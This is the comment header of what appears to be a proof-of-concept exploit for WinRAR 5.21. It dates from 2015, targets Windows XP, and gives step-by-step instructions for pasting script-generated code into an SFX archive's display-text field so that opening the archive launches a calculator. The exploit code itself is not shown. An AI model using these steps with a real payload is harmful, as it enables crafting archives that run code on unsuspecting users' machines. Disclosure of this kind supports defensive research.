# Date : 25/09/2015
# Author : R-73eN
# Tested on : Windows Xp SP3 with WinRAR 5.21
#
# Triggering the Vulnerability
# Run this python script
# Right click a file and then click on add to archive.
# check the 'Create SFX archive' box
# go to Advanced tab
# go to SFX options
# go to Text And icon
# copy the code that the script will generate to 'Text to display into sfx windows'
# Click OK two times and the sfx archive is generated.
# If someone opens that sfx archive a calculator should pop up.
